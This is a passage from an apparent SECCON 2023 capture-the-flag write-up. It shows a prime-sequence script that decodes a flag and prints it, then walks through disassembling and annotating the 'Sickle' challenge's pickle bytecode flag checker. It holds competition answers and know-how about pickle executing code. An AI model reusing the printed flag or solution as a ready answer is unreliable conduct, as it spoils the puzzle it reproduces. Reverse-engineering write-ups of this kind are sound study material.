7925541, 8752735, 10012217, 11365110, 17301654, 26085581, 29057287, 32837617, 39609127, 44659126, 47613075, 56815808, 58232493, 63613165 ] cs = [ 60, 244, 26, 208, 138, 23, 124, 76, 223, 33, 223, 176, 18, 184, 78, 250, 217, 45, 102, 250, 212, 149, 240, 102, 109, 206, 105, 0, 125, 149, 234, 217, 10, 235, 39, 99, 117, 17, 55, 212 ] # https://oeis.org/A013998 pseudoprimes = [ 271441, 904631, 16532714, 24658561, 27422714, 27664033, 46672291, 102690901, 130944133, 196075949, 214038533, 517697641, 545670533, 801123451, 855073301, 903136901, 970355431, 1091327579, 1133818561, 1235188597, 1389675541, 1502682721, 2059739221, 2304156469, 2976407809, 3273820903 ] n = max(ns) seq = [ 0, 1 ] while len(seq) <= n: x = int(gmpy2.next_prime(seq[-1])) while pseudoprimes and x > pseudoprimes[0]: seq.append(pseudoprimes.pop(0)) seq.append(x) flag = '' for n, c in zip(ns, cs): flag += chr(c ^ (seq[n] % 256)) print(flag) ``` It takes some time to run, but after several minutes we get the flag: ``` SECCON{3b4297373223a58ccf3dc06a6102846f} ``` ## Sickle We're provided with python program, which unpickles some static payload and either prints "Congratulations!!" if the result is `True`, or "Nope" otherwise. ### Initial analysis Running program greets us with `FLAG>` prompt, which implies it has some validation logic inside. Usually pickle is used to serialize data, but it is also perfectly capable of running code. Also, usage of `io.BytesIO()` to wrap payload may allow for conditional jumps while deserializing pickled bytecode. ### Disassembling As usual with pickled payloads, first thing to do is to throw it at `pickletools.dis()`. ### Step 1 After running disassembler on the payload we get the following listing: ```python 0: \x8c SHORT_BINUNICODE 'builtins' 10: \x8c SHORT_BINUNICODE 'getattr' 19: \x93 STACK_GLOBAL 20: \x94 MEMOIZE (as 0) 21: 2 DUP 22: \x8c SHORT_BINUNICODE 'builtins' 32: \x8c SHORT_BINUNICODE 'input' 39: \x93 STACK_GLOBAL 40: \x8c SHORT_BINUNICODE 'FLAG> ' 48: \x85 TUPLE1 49: R REDUCE 50: \x8c SHORT_BINUNICODE 'encode' 58: \x86 TUPLE2 59: R REDUCE 60: ) EMPTY_TUPLE 61: R REDUCE 62: \x94 MEMOIZE (as 1) 63: 0 POP 64: g GET 0 67: \x8c SHORT_BINUNICODE 'builtins' 77: \x8c SHORT_BINUNICODE 'dict' 83: \x93 STACK_GLOBAL 84: \x8c SHORT_BINUNICODE 'get' 89: \x86 TUPLE2 90: R REDUCE 91: \x8c SHORT_BINUNICODE 'builtins' 101: \x8c SHORT_BINUNICODE 'globals' 110: \x93 STACK_GLOBAL 111: ) EMPTY_TUPLE 112: R REDUCE 113: \x8c SHORT_BINUNICODE 'f' 116: \x86 TUPLE2 117: R REDUCE 118: \x8c SHORT_BINUNICODE 'seek' 124: \x86 TUPLE2 125: R REDUCE 126: \x94 MEMOIZE (as 2) 127: g GET 0 130: \x8c SHORT_BINUNICODE 'builtins' 140: \x8c SHORT_BINUNICODE 'int' 145: \x93 STACK_GLOBAL 146: \x8c SHORT_BINUNICODE '__add__' 155: \x86 TUPLE2 156: R REDUCE 157: \x94 MEMOIZE (as 3) 158: 0 POP 159: g GET 0 162: \x8c SHORT_BINUNICODE 'builtins' 172: \x8c SHORT_BINUNICODE 'int' 177: \x93 STACK_GLOBAL 178: \x8c SHORT_BINUNICODE '__mul__' 187: \x86 TUPLE2 188: R REDUCE 189: \x94 MEMOIZE (as 4) 190: 0 POP 191: g GET 0 194: \x8c SHORT_BINUNICODE 'builtins' 204: \x8c SHORT_BINUNICODE 'int' 209: \x93 STACK_GLOBAL 210: \x8c SHORT_BINUNICODE '__eq__' 218: \x86 TUPLE2 219: R REDUCE 220: \x94 MEMOIZE (as 5) 221: 0 POP 222: g GET 3 225: g GET 5 228: \x8c SHORT_BINUNICODE 'builtins' 238: \x8c SHORT_BINUNICODE 'len' 243: \x93 STACK_GLOBAL 244: g GET 1 247: \x85 TUPLE1 248: R REDUCE 249: M BININT2 64 252: \x86 TUPLE2 253: R REDUCE 254: M BININT2 261 257: \x86 TUPLE2 258: R REDUCE 259: \x85 TUPLE1 260: R REDUCE 261: . STOP highest protocol among opcodes = 4 ``` From the operations we can immediately see our `input('FLAG> ')` prompt at the start. Also there's `f.seek()` function reference, which confirms it does some jumping. But note how it ends at offset 261, even though original bytecode length is 1004 bytes. This happens because of a `STOP` instuction (which must be bypassed when some condition is met). To work that around, we can replace `.` (STOP) opcode at offset 261 with `N` (NONE). This would allow us to disassemble it further. ### Step 2 Now we've got a bit further: ```python ... 261: N NONE 262: 0 POP 263: g GET 0 266: g GET 1 269: \x8c SHORT_BINUNICODE '__getitem__' 282: \x86 TUPLE2 283: R REDUCE 284: \x94 MEMOIZE (as 6) 285: 0 POP 286: M BININT2 0 289: \x94 MEMOIZE (as 7) 290: 0 POP 291: g GET 2 294: g GET 3 297: g GET 0 300: g GET 6 303: g GET 7 306: \x85 TUPLE1 307: R REDUCE 308: \x8c SHORT_BINUNICODE '__le__' 316: \x86 TUPLE2 317: R REDUCE 318: M BININT2 127 321: \x85 TUPLE1 322: R REDUCE 323: M BININT2 330 326: \x86 TUPLE2 327: R REDUCE 328: \x85 TUPLE1 329: R REDUCE 330: . STOP highest protocol among opcodes = 4 ``` We also get an error the stack is not empty upon return, but we'll ignore it. Also, there's another `STOP` at offset 330, so we'd need to patch it as well. ### Step 3 Now it gets us a bit further, but throws an exception here: ```python ... 355: p PUT 7 Traceback (most recent call last): File "~/ctf/seccon2023/sickle/dis.py", line 5, in <module> dis(payload) File "/usr/local/Cellar/python@3.11/3.11.3/Frameworks/Python.framework/Versions/3.11/lib/python3.11/pickletools.py", line 2531, in dis raise ValueError(errormsg) ValueError: memo key 7 already defined ``` For some reason, `pickletools` doesn't allow assiging data at the already allocated memo index, even though it is the only purpose of the `PUT` instruction. Luckily, we can copy `dis()` function code locally and remove that check. And while we're at it, also purge that annoying stack emptiness check at the end. After using our modified disassembly function, it works as expected and outputs remaining code (continuing from offset 330): ```python ... 330: N NONE 331: 0 POP 332: g GET 2 335: g GET 3 338: g GET 4 341: g GET 5 344: g GET 3 347: g GET 7 350: M BININT2 1 353: \x86 TUPLE2 354: R REDUCE 355: p PUT 7 358: M BININT2 64 361: \x86 TUPLE2 362: R REDUCE 363: M BININT2 85 366: \x86 TUPLE2 367: R REDUCE 368: M BININT2 290 371: \x86 TUPLE2 372: R REDUCE 373: \x85 TUPLE1 374: R REDUCE 375: 0 POP 376: g GET 0 379: g GET 0 382: ] EMPTY_LIST 383: \x94 MEMOIZE (as 8) 384: \x8c SHORT_BINUNICODE 'append' 392: \x86 TUPLE2 393: R REDUCE 394: \x94 MEMOIZE (as 9) 395: 0 POP 396: g GET 8 399: \x8c SHORT_BINUNICODE '__getitem__' 412: \x86 TUPLE2 413: R REDUCE 414: \x94 MEMOIZE (as 10) 415: 0 POP 416: g GET 0 419: \x8c SHORT_BINUNICODE 'builtins' 429: \x8c SHORT_BINUNICODE 'int' 434: \x93 STACK_GLOBAL 435: \x8c SHORT_BINUNICODE 'from_bytes' 447: \x86 TUPLE2 448: R REDUCE 449: \x94 MEMOIZE (as 11) 450: 0 POP 451: M BININT2 0 454: p PUT 7 457: 0 POP 458: g GET 9 461: g GET 11 465: g GET 6 468: \x8c SHORT_BINUNICODE 'builtins' 478: \x8c SHORT_BINUNICODE 'slice' 485: \x93 STACK_GLOBAL 486: g GET 4 489: g GET 7 492: M BININT2 8 495: \x86 TUPLE2 496: R REDUCE 497: g GET 4 500: g GET 3 503: g GET 7 506: M BININT2 1 509: \x86 TUPLE2 510: R REDUCE 511: M BININT2 8 514: \x86 TUPLE2 515: R REDUCE 516: \x86 TUPLE2 517: R REDUCE 518: \x85 TUPLE1 519: R REDUCE 520: \x8c SHORT_BINUNICODE 'little' 528: \x86 TUPLE2 529: R REDUCE 530: \x85 TUPLE1 531: R REDUCE 532: 0 POP 533: g GET 2 536: g GET 3 539: g GET 4 542: g GET 5 545: g GET 3 548: g GET 7 551: M BININT2 1 554: \x86 TUPLE2 555: R REDUCE 556: p PUT 7 559: M BININT2 8 562: \x86 TUPLE2 563: R REDUCE 564: M BININT2 119 567: \x86 TUPLE2 568: R REDUCE 569: M BININT2 457 572: \x86 TUPLE2 573: R REDUCE 574: \x85 TUPLE1 575: R REDUCE 576: 0 POP 577: g GET 0 580: ] EMPTY_LIST 581: \x94 MEMOIZE (as 12) 582: \x8c SHORT_BINUNICODE 'append' 590: \x86 TUPLE2 591: R REDUCE 592: \x94 MEMOIZE (as 13) 593: 0 POP 594: g GET 0 597: g GET 12 601: \x8c SHORT_BINUNICODE '__getitem__' 614: \x86 TUPLE2 615: R REDUCE 616: \x94 MEMOIZE (as 14) 617: 0 POP 618: g GET 0 621: \x8c SHORT_BINUNICODE 'builtins' 631: \x8c SHORT_BINUNICODE 'int' 636: \x93 STACK_GLOBAL 637: \x8c SHORT_BINUNICODE '__xor__' 646: \x86 TUPLE2 647: R REDUCE 648: \x94 MEMOIZE (as 15) 649: 0 POP 650: I INT 1244422970072434993 671: \x94 MEMOIZE (as 16) 672: 0 POP 673: M BININT2 0 676: p PUT 7 679: 0 POP 680: g GET 13 684: \x8c SHORT_BINUNICODE 'builtins' 694: \x8c SHORT_BINUNICODE 'pow' 699: \x93 STACK_GLOBAL 700: g GET 15 704: g GET 10 708: g GET 7 711: \x85 TUPLE1 712: R REDUCE 713: g GET 16 717: \x86 TUPLE2 718: R REDUCE 719: I INT 65537 726: I INT 18446744073709551557 748: \x87 TUPLE3 749: R REDUCE 750: \x85 TUPLE1 751: R REDUCE 752: 0 POP 753: g GET 14 757: g GET 7 760: \x85 TUPLE1 761: R REDUCE 762: p PUT 16 766: 0 POP 767: g GET 2 770: g GET 3 773: g GET 4 776: g GET 5 779: g GET 3 782: g GET 7 785: M BININT2 1 788: \x86 TUPLE2 789: R REDUCE 790: p PUT 7 793: M BININT2 8 796: \x86 TUPLE2 797: R REDUCE 798: M BININT2 131 801: \x86 TUPLE2 802: R REDUCE 803: M BININT2 679 806: \x86 TUPLE2 807: R REDUCE 808: \x85 TUPLE1 809: R REDUCE 810: 0 POP 811: g GET 0 814: g GET 12 818: \x8c SHORT_BINUNICODE '__eq__' 826: \x86 TUPLE2 827: R REDUCE 828: ( MARK 829: I INT 8215359690687096682 850: I INT 1862662588367509514 871: I INT 8350772864914849965 892: I INT 11616510986494699232 914: I INT 3711648467207374797 935: I INT 9722127090168848805 956: I INT 16780197523811627561 978: I INT 18138828537077112905 1000: l LIST (MARK at 828) 1001: \x85 TUPLE1 1002: R REDUCE 1003: . STOP highest protocol among opcodes = 4 ``` ### Analysis Much like Python itself, pickle deserializer uses a stack-based VM to produce output. So to analyze it, we need to know stack contents at each instruction. While it is possible to make out patched `dis()` function output that automatically, it would require some amount of work. And humans are lazy :) On the other hand, Copilot turned out to be extremely good at annotating stack states, with only some minor errors. So entire disassembly annotation was 90% hitting tab and 10% checking if it makes sense. So, let's head to exploring annotated blocks and figuring out what are they doing. ### Initialization and flag entry ```python 0: \x8c SHORT_BINUNICODE 'builtins' ; [ 'builtins' ] 10: \x8c SHORT_BINUNICODE 'getattr' ; [ 'builtins', 'getattr' ] 19: \x93 STACK_GLOBAL ; [ builtins.getattr ] 20: \x94 MEMOIZE (as 0) ; memo[0] = builtins.getattr 21: 2 DUP ; [ builtins.getattr, builtins.getattr ] 22: \x8c SHORT_BINUNICODE 'builtins' ; [ builtins.getattr, builtins.getattr, 'builtins' ] 32: \x8c SHORT_BINUNICODE 'input' ; [ builtins.getattr, builtins.getattr, 'builtins', 'input' ] 39: \x93 STACK_GLOBAL ; [ builtins.getattr, builtins.getattr, builtins.input ] 40: \x8c SHORT_BINUNICODE 'FLAG> ' ; [ builtins.getattr, builtins.getattr, builtins.input, 'FLAG> ' ] 48: \x85 TUPLE1 ; [ builtins.getattr, builtins.getattr, builtins.input, ('FLAG> ',) ] 49: R REDUCE ; [ builtins.getattr, builtins.getattr, flag_str ] 50: \x8c SHORT_BINUNICODE 'encode' ; [ builtins.getattr, builtins.getattr, flag_str, 'encode' ] 58: \x86 TUPLE2 ; [ builtins.getattr, builtins.getattr, (flag_str, 'encode') ] 59: R REDUCE ; [ builtins.getattr, flag_str.encode ] 60: ) EMPTY_TUPLE ; [ builtins.getattr, flag_str.encode, () ] 61: R REDUCE ; [ builtins.getattr, flag ] 62: \x94 MEMOIZE (as 1) ; memo[1] = flag 63: 0 POP ; [ builtins.getattr ] 64: g GET 0 ; [ builtins.getattr, builtins.getattr ] 67: \x8c SHORT_BINUNICODE 'builtins' ; [ builtins.getattr, builtins.getattr, 'builtins' ] 77: \x8c SHORT_BINUNICODE 'dict' ; [ builtins.getattr, builtins.getattr, 'builtins', 'dict' ] 83: \x93 STACK_GLOBAL ; [ builtins.getattr, builtins.getattr, builtins.dict ] 84: \x8c SHORT_BINUNICODE 'get' ; [ builtins.getattr, builtins.getattr, builtins.dict, 'get' ] 89: \x86 TUPLE2 ; [ builtins.getattr, builtins.getattr, (builtins.dict, 'get') ] 90: R REDUCE ; [ builtins.getattr, dict.get ] 91: \x8c SHORT_BINUNICODE 'builtins' ; [ builtins.getattr, dict.get, 'builtins' ] 101: \x8c SHORT_BINUNICODE 'globals' ; [ builtins.getattr, dict.get, 'builtins', 'globals' ] 110: \x93 STACK_GLOBAL ; [ builtins.getattr, dict.get, builtins.globals ] 111: ) EMPTY_TUPLE ; [ builtins.getattr, dict.get, builtins.globals, () ] 112: R REDUCE ; [ builtins.getattr, dict.get, globals ] 113: \x8c SHORT_BINUNICODE 'f' ; [ builtins.getattr, dict.get, globals, 'f' ] 116: \x86 TUPLE2 ; [ builtins.getattr, dict.get, (globals, 'f') ] 117: R REDUCE ; [ builtins.getattr, f ] 118: \x8c SHORT_BINUNICODE 'seek' ; [ builtins.getattr, f, 'seek' ] 124: \x86 TUPLE2 ; [ builtins.getattr, (f, 'seek') ] 125: R REDUCE ; [ f.seek ] 126: \x94 MEMOIZE (as 2) ; memo[2] = f.seek 127: g GET 0 ; [ f.seek, builtins.getattr ] 130: \x8c SHORT_BINUNICODE 'builtins' ; [ f.seek, builtins.getattr, 'builtins' ] 140: \x8c SHORT_BINUNICODE 'int' ; [ f.seek, builtins.getattr, 'builtins', 'int' ] 145: \x93 STACK_GLOBAL ; [ f.seek, builtins.getattr, builtins.int ] 146: \x8c SHORT_BINUNICODE '__add__' ; [ f.seek, builtins.getattr, builtins.int, '__add__' ] 155: \x86 TUPLE2 ; [ f.seek, builtins.getattr, (builtins.int, '__add__') ] 156: R REDUCE ; [ f.seek, int.__add__ ] 157: \x94 MEMOIZE (as 3) ; memo[3] = int.__add__ 158: 0 POP ; [ f.seek ] 159: g GET 0 ; [ f.seek, builtins.getattr ] 162: \x8c SHORT_BINUNICODE 'builtins' ; [ f.seek, builtins.getattr, 'builtins' ] 172: \x8c SHORT_BINUNICODE 'int' ; [ f.seek, builtins.getattr, 'builtins', 'int' ] 177: \x93 STACK_GLOBAL ; [ f.seek, builtins.getattr, builtins.int ] 178: \x8c SHORT_BINUNICODE '__mul__' ; [ f.seek, builtins.getattr, builtins.int, '__mul__' ] 187: \x86 TUPLE2 ; [ f.seek, builtins.getattr, (builtins.int, '__mul__') ] 188: R REDUCE ; [ f.seek, int.__mul__ ] 189: \x94 MEMOIZE (as 4) ; memo[4] = int.__mul__ 190: 0 POP ; [ f.seek ] 191: g GET 0 ; [ f.seek, builtins.getattr ] 194: \x8c SHORT_BINUNICODE 'builtins' ; [ f.seek, builtins.getattr, 'builtins' ] 204: \x8c SHORT_BINUNICODE 'int' ; [ f.seek, builtins.getattr, 'builtins', 'int' ] 209: \x93 STACK_GLOBAL ; [ f.seek, builtins.getattr, builtins.int ] 210: \x8c SHORT_BINUNICODE '__eq__' ; [ f.seek, builtins.getattr, builtins.int, '__eq__' ] 218: \x86 TUPLE2 ; [ f.seek, builtins.getattr, (builtins.int, '__eq__') ] 219: R REDUCE ; [ f.seek, int.__eq__ ] 220: \x94 MEMOIZE (as 5) ; memo[5] = int.__eq__ 221: 0 POP ; [ f.seek ] ``` Here we input flag, encode it as bytes and store it in memo. Also some basic int operations, `getattr` and `f.seek` are resolved and stored there. ### Checking flag length ```python 222: g GET 3 ; [ f.seek, int.__add__ ] 225: g GET 5 ; [ f.seek, int.__add__, int.__eq__ ] 228: \x8c SHORT_BINUNICODE 'builtins' ; [ f.seek, int.__add__, int.__eq__, 'builtins' ] 238: \x8c SHORT_BINUNICODE 'len' ; [ f.seek, int.__add__, int.__eq__, 'builtins', 'len' ] 243: \x93 STACK_GLOBAL ; [ f.seek, int.__add__, int.__eq__, builtins.len ] 244: g GET 1 ; [ f.seek, int.__add__, int.__eq__, builtins.len, flag ] 247: \x85 TUPLE1 ; [ f.seek, int.__add__, int.__eq__, builtins.len, (flag,) ] 248: R REDUCE ; [ f.seek, int.__add__, int.__eq__, flag_len ] 249: M BININT2 64 ; [ f.seek, int.__add__, int.__eq__, flag_len, 64 ] 252: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__eq__, (flag_len, 64) ] 253: R REDUCE ; [ f.seek, int.__add__, flag_len == 64 ] 254: M BININT2 261 ; [ f.seek, int.__add__, flag_len == 64, 261 ] 257: \x86 TUPLE2 ; [ f.seek, int.__add__, (flag_len == 64, 261) ] 258: R REDUCE ; [ f.seek, (flag_len == 64) + 261 ] 259: \x85 TUPLE1 ; [ f.seek, ((flag_len == 64) + 261,) ] 260: R REDUCE ; [ f.seek((flag_len == 64) + 261) ] 261: N NONE ; STOP 262: 0 POP ; [ ] ``` Here we check if flag length is equal to 64. Also, from `f.seek((flag_len == 64) + 261)` we can see how conditional jumps work. If flag length is not 64, it seeks to `0 + 261` (which is our `STOP` instruction), otherwise it seeks to the one right after it, effectively continuing execution. ### Character validation loop ```python 263: g GET 0 ; [ builtins.getattr ] 266: g GET 1 ; [ builtins.getattr, flag ] 269: \x8c SHORT_BINUNICODE '__getitem__' ; [ builtins.getattr, flag, '__getitem__' ] 282: \x86 TUPLE2 ; [ builtins.getattr, (flag, '__getitem__') ] 283: R REDUCE ; [ flag.__getitem__ ] 284: \x94 MEMOIZE (as 6) ; memo[6] = flag.__getitem__ 285: 0 POP ; [ ] 286: M BININT2 0 ; [ 0 ] 289: \x94 MEMOIZE (as 7) ; memo[7] = 0 290: 0 POP ; [ ] 291: g GET 2 ; [ f.seek ] 294: g GET 3 ; [ f.seek, int.__add__ ] 297: g GET 0 ; [ f.seek, int.__add__, builtins.getattr ] 300: g GET 6 ; [ f.seek, int.__add__, builtins.getattr, flag.__getitem__ ] 303: g GET 7 ; [ f.seek, int.__add__, builtins.getattr, flag.__getitem__, i ] 306: \x85 TUPLE1 ; [ f.seek, int.__add__, builtins.getattr, flag.__getitem__, (i,) ] 307: R REDUCE ; [ f.seek, int.__add__, builtins.getattr, flag[i] ] 308: \x8c SHORT_BINUNICODE '__le__' ; [ f.seek, int.__add__, builtins.getattr, flag[i], '__le__' ] 316: \x86 TUPLE2 ; [ f.seek, int.__add__, builtins.getattr, (flag[i], '__le__') ] 317: R REDUCE ; [ f.seek, int.__add__, flag[i].__le__ ] 318: M BININT2 127 ; [ f.seek, int.__add__, flag[i].__le__, 127 ] 321: \x85 TUPLE1 ; [ f.seek, int.__add__, flag[i].__le__, (127,) ] 322: R REDUCE ; [ f.seek, int.__add__, flag[i] < 127 ] 323: M BININT2 330 ; [ f.seek, int.__add__, flag[i] < 127, 330 ] 326: \x86 TUPLE2 ; [ f.seek, int.__add__, (flag[i] < 127, 330) ] 327: R REDUCE ; [ f.seek, (flag[i] < 127) + 330 ] 328: \x85 TUPLE1 ; [ f.seek, ((flag[i] < 127) + 330,) ] 329: R REDUCE ; [ f.seek((flag[i] < 127) + 330) ] 330: N NONE ; STOP 331: 0 POP ; [ ] 332: g GET 2 ; [ f.seek ] 335: g GET 3 ; [ f.seek, int.__add__ ] 338: g GET 4 ; [ f.seek, int.__add__, int.__mul__ ] 341: g GET 5 ; [ f.seek, int.__add__, int.__mul__, int.__eq__ ] 344: g GET 3 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__ ] 347: g GET 7 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, i ] 350: M BININT2 1 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, i, 1 ] 353: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, (i, 1) ] 354: R REDUCE ; [ f.seek, int.__add__, int.__mul__, int.__eq__, i+1 ] 355: p PUT 7 ; memo[7] = i+1 358: M BININT2 64 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, i+1, 64 ] 361: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, (i+1, 64) ] 362: R REDUCE ; [ f.seek, int.__add__, int.__mul__, i+1 == 64 ] 363: M BININT2 85 ; [ f.seek, int.__add__, int.__mul__, i+1 == 64, 85 ] 366: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, (i+1 == 64, 85) ] 367: R REDUCE ; [ f.seek, int.__add__, (i+1 == 64) * 85 ] 368: M BININT2 290 ; [ f.seek, int.__add__, (i+1 == 64) * 85, 290 ] 371: \x86 TUPLE2 ; [ f.seek, int.__add__, ((i+1 == 64) * 85, 290) ] 372: R REDUCE ; [ f.seek, (i+1 == 64) * 85 + 290 ] 373: \x85 TUPLE1 ; [ f.seek, ((i+1 == 64) * 85 + 290,) ] 374: R REDUCE ; [ f.seek((i+1 == 64) * 85 + 290) ] 375: 0 POP ; [ ] ``` Here we can see it loops over each flag character and checks if it is less than 127. ### Converting flag to a list of integers ```python 376: g GET 0 ; [ builtins.getattr ] 379: g GET 0 ; [ builtins.getattr, builtins.getattr ] 382: ] EMPTY_LIST ; [ builtins.getattr, builtins.getattr, lst ] 383: \x94 MEMOIZE (as 8) ; memo[8] = lst 384: \x8c SHORT_BINUNICODE 'append' ; [ builtins.getattr, builtins.getattr, lst, 'append' ] 392: \x86 TUPLE2 ; [ builtins.getattr, builtins.getattr, (lst, 'append') ] 393: R REDUCE ; [ builtins.getattr, lst.append ] 394: \x94 MEMOIZE (as 9) ; memo[9] = lst.append 395: 0 POP ; [ builtins.getattr ] 396: g GET 8 ; [ builtins.getattr, lst ] 399: \x8c SHORT_BINUNICODE '__getitem__' ; [ builtins.getattr, lst, '__getitem__' ] 412: \x86 TUPLE2 ; [ builtins.getattr, (lst, '__getitem__') ] 413: R REDUCE ; [ lst.__getitem__ ] 414: \x94 MEMOIZE (as 10) ; memo[10] = lst.__getitem__ 415: 0 POP ; [ ] 416: g GET 0 ; [ builtins.getattr ] 419: \x8c SHORT_BINUNICODE 'builtins' ; [ builtins.getattr, 'builtins' ] 429: \x8c SHORT_BINUNICODE 'int' ; [ builtins.getattr, 'builtins', 'int' ] 434: \x93 STACK_GLOBAL ; [ builtins.getattr, builtins.int ] 435: \x8c SHORT_BINUNICODE 'from_bytes' ; [ builtins.getattr, builtins.int, 'from_bytes' ] 447: \x86 TUPLE2 ; [ builtins.getattr, (builtins.int, 'from_bytes') ] 448: R REDUCE ; [ int.from_bytes ] 449: \x94 MEMOIZE (as 11) ; memo[11] = int.from_bytes 450: 0 POP ; [ ] 451: M BININT2 0 ; [ 0 ] 454: p PUT 7 ; memo[7] = 0 457: 0 POP ; [ ] 458: g GET 9 ; [ lst.append ] 461: g GET 11 ; [ lst.append, int.from_bytes ] 465: g GET 6 ; [ lst.append, int.from_bytes, flag.__getitem__ ] 468: \x8c SHORT_BINUNICODE 'builtins' ; [ lst.append, int.from_bytes, flag.__getitem__, 'builtins' ] 478: \x8c SHORT_BINUNICODE 'slice' ; [ lst.append, int.from_bytes, flag.__getitem__, 'builtins', 'slice' ] 485: \x93 STACK_GLOBAL ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice ] 486: g GET 4 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, int.__mul__ ] 489: g GET 7 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, int.__mul__, i ] 492: M BININT2 8 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, int.__mul__, i, 8 ] 495: \x86 TUPLE2 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, int.__mul__, (i, 8) ] 496: R REDUCE ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8 ] 497: g GET 4 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__ ] 500: g GET 3 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, int.__add__ ] 503: g GET 7 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, int.__add__, i ] 506: M BININT2 1 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, int.__add__, i, 1 ] 509: \x86 TUPLE2 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, int.__add__, (i, 1) ] 510: R REDUCE ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, i+1 ] 511: M BININT2 8 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, i+1, 8 ] 514: \x86 TUPLE2 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, (i+1, 8) ] 515: R REDUCE ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, (i+1) * 8 ] 516: \x86 TUPLE2 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, (i*8, (i+1) * 8) ] 517: R REDUCE ; [ lst.append, int.from_bytes, flag.__getitem__, [i*8, (i+1) * 8] ] 518: \x85 TUPLE1 ; [ lst.append, int.from_bytes, flag.__getitem__, ([i*8:(i+1)*8],) ] 519: R REDUCE ; [ lst.append, int.from_bytes, flag[i*8:(i+1)*8] ] 520: \x8c SHORT_BINUNICODE 'little' ; [ lst.append, int.from_bytes, flag[i*8:(i+1)*8], 'little' ] 528: \x86 TUPLE2 ; [ lst.append, int.from_bytes, (flag[i*8:(i+1)*8], 'little') ] 529: R REDUCE ; [ lst.append, int.from_bytes(flag[i*8:(i+1)*8], 'little') ] 530: \x85 TUPLE1 ; [ lst.append, (int.from_bytes((flag[i*8:(i+1)*8], 'little'),) ] 531: R REDUCE ; [ lst.append(int.from_bytes(flag[i*8:(i+1)*8], 'little')) ] 532: 0 POP ; [ ] 533: g GET 2 ; [ f.seek ] 536: g GET 3 ; [ f.seek, int.__add__ ] 539: g GET 4 ; [ f.seek, int.__add__, int.__mul__ ] 542: g GET 5 ; [ f.seek, int.__add__, int.__mul__, int.__eq__ ] 545: g GET 3 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__ ] 548: g GET 7 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, i ] 551: M BININT2 1 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, i, 1 ] 554: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, (i, 1) ] 555: R REDUCE ; [ f.seek, int.__add__, int.__mul__, int.__eq__, i+1 ] 556: p PUT 7 ; memo[7] = i+1 559: M BININT2 8 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, i+1, 8 ] 562: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, (i+1, 8) ] 563: R REDUCE ; [ f.seek, int.__add__, int.__mul__, i+1 == 8 ] 564: M BININT2 119 ; [ f.seek, int.__add__, int.__mul__, i+1 == 8, 119 ] 567: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, (i+1 == 8, 119) ] 568: R REDUCE ; [ f.seek, int.__add__, (i+1 == 8) * 119 ] 569: M BININT2 457 ; [ f.seek, int.__add__, (i+1 == 8) * 119, 457 ] 572: \x86 TUPLE2 ; [ f.seek, int.__add__, ((i+1 == 8) * 119, 457) ] 573: R REDUCE ; [ f.seek, (i+1 == 8) * 119 + 457 ] 574: \x85 TUPLE1 ; [ f.seek, ((i+1 == 8) * 119 + 457,) ] 575: R REDUCE ; [ f.seek((i+1 == 8) * 119 + 457) ] 576: 0 POP ; [ ] ``` In this loop, the flag is split to 8-byte chunks, which are converted to integers and appended to a list. ### RSA-like encryption ```python 577: g GET 0 ; [ builtins.getattr ] 580: ] EMPTY_LIST ; [ builtins.getattr, lst2 ] 581: \x94 MEMOIZE (as 12) ; memo[12] = lst2 582: \x8c SHORT_BINUNICODE 'append' ; [ builtins.getattr, lst2, 'append' ] 590: \x86 TUPLE2 ; [ builtins.getattr, (lst2, 'append') ] 591: R REDUCE ; [ lst2.append ] 592: \x94 MEMOIZE (as 13) ; memo[13] = lst2.append 593: 0 POP ; [ ] 594: g GET 0 ; [ builtins.getattr ] 597: g GET 12 ; [ builtins.getattr, lst2 ] 601: \x8c SHORT_BINUNICODE '__getitem__' ; [ builtins.getattr, lst2, '__getitem__' ] 614: \x86 TUPLE2 ; [ builtins.getattr, (lst2, '__getitem__') ] 615: R REDUCE ; [ lst2.__getitem__ ] 616: \x94 MEMOIZE (as 14) ; memo[14] = lst2.__getitem__ 617: 0 POP ; [ ] 618: g GET 0 ; [ builtins.getattr ] 621: \x8c SHORT_BINUNICODE 'builtins' ; [ builtins.getattr, 'builtins' ] 631: \x8c SHORT_BINUNICODE 'int' ; [ builtins.getattr, 'builtins', 'int' ] 636: \x93 STACK_GLOBAL ; [ builtins.getattr, builtins.int ] 637: \x8c SHORT_BINUNICODE '__xor__' ; [ builtins.getattr, builtins.int, '__xor__' ] 646: \x86 TUPLE2 ; [ builtins.getattr, (builtins.int, '__xor__') ] 647: R REDUCE ; [ int.__xor__ ] 648: \x94 